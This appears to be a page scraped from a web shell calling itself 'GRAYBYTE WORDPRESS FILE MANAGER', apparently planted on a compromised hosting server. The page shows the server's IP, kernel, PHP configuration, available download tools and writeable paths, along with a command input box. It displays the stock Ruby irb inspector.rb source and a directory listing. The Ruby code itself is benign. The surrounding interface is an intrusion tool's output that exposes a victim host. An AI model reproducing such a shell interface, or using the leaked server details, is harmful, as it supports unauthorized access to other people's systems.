GRAYBYTE WORDPRESS FILE MANAGER9848

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/ruby19/lib64/ruby/1.9.1/irb/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/ruby19/lib64/ruby/1.9.1/irb//inspector.rb
#
#   irb/inspector.rb - inspect methods
#   	$Release Version: 0.9.6$
#   	$Revision: 1.19 $
#   	$Date: 2002/06/11 07:51:31 $
#   	by Keiju ISHITSUKA(keiju@ruby-lang.org)
#
# --
#
#
#

module IRB

  def IRB::Inspector(inspect, init = nil)
    Inspector.new(inspect, init)
  end

  class Inspector
    def initialize(inspect_proc, init_proc = nil)
      @init = init_proc
      @inspect = inspect_proc
    end

    def init
      @init.call if @init
    end

    def inspect_value(v)
      @inspect.call(v)
    end
  end

  INSPECTORS = {}

  def INSPECTORS.keys_with_inspector(inspector)
    select{|k,v| v == inspector}.collect{|k, v| k}
  end

  # ex)
  # INSPECTORS.def_inspector(key, init_p=nil){|v| v.inspect}
  # INSPECTORS.def_inspector([key1,..], init_p=nil){|v| v.inspect}
  # INSPECTORS.def_inspector(key, inspector)
  # INSPECTORS.def_inspector([key1,...], inspector)

  def INSPECTORS.def_inspector(key, arg=nil, &block)
#     if !block_given?
#       case arg
#       when nil, Proc
# 	inspector = IRB::Inspector(init_p)
#       when Inspector
# 	inspector = init_p
#       else
# 	IRB.Raise IllegalParameter, init_p
#       end
#       init_p = nil
#     else
#       inspector = IRB::Inspector(block, init_p)
#     end

    if block_given?
      inspector = IRB::Inspector(block, arg)
    else
      inspector = arg
    end

    case key
    when Array
      for k in key
	def_inspector(k, inspector)
      end
    when Symbol
      self[key] = inspector
      self[key.to_s] = inspector
    when String
      self[key] = inspector
      self[key.intern] = inspector
    else
      self[key] = inspector
    end
  end

  INSPECTORS.def_inspector([false, :to_s, :raw]){|v| v.to_s}
  INSPECTORS.def_inspector([true, :p, :inspect]){|v|
    begin
      v.inspect
    rescue NoMethodError
      puts "(Object doesn't support #inspect)"
    end
  }
  INSPECTORS.def_inspector([:pp, :pretty_inspect], proc{require "pp"}){|v| v.pretty_inspect.chomp}
  INSPECTORS.def_inspector([:yaml, :YAML], proc{require "yaml"}){|v|
    begin
      YAML.dump(v)
    rescue
      puts "(can't dump yaml. use inspect)"
      v.inspect
    end
  }

  INSPECTORS.def_inspector([:marshal, :Marshal, :MARSHAL, Marshal]){|v|
    Marshal.dump(v)
  }
end






[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 22:50:37
root / root
0755
cmd
--
March 03 2024 22:48:05
root / linksafe
0755
ext
--
March 03 2024 22:48:05
root / linksafe
0755
lc
--
March 03 2024 22:48:05
root / linksafe
0755
completion.rb
5.86 KB
January 27 2012 20:53:37
root / linksafe
0644
context.rb
6.911 KB
March 30 2010 13:03:23
root / linksafe
0644
extend-command.rb
6.995 KB
December 05 2009 01:18:28
root / linksafe
0644
frame.rb
1.21 KB
October 02 2009 12:04:37
root / linksafe
0644
help.rb
0.536 KB
October 02 2009 12:04:37
root / linksafe
0644
init.rb
6.959 KB
May 15 2011 11:55:52
root / linksafe
0644
input-method.rb
2.499 KB
October 02 2009 12:04:37
root / linksafe
0644
inspector.rb
2.193 KB
May 15 2011 11:55:52
root / linksafe
0644
locale.rb
4.42 KB
May 15 2011 11:55:52
root / linksafe
0644
magic-file.rb
0.872 KB
December 11 2012 08:47:37
root / linksafe
0644
notifier.rb
2.64 KB
March 20 2010 03:30:59
root / linksafe
0644
output-method.rb
1.307 KB
March 20 2010 03:30:59
root / linksafe
0644
ruby-lex.rb
22.122 KB
June 28 2011 12:52:21
root / linksafe
0644
ruby-token.rb
7.274 KB
June 04 2010 21:22:47
root / linksafe
0644
slex.rb
5.932 KB
July 11 2010 16:59:10
root / linksafe
0644
src_encoding.rb
0.088 KB
October 02 2009 10:45:39
root / linksafe
0644
version.rb
0.235 KB
October 02 2009 12:04:37
root / linksafe
0644
workspace.rb
2.539 KB
June 27 2011 15:10:28
root / linksafe
0644
ws-for-case-2.rb
0.19 KB
November 08 2010 20:59:01
root / linksafe
0644
xmp.rb
1.762 KB
March 20 2010 03:30:59
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF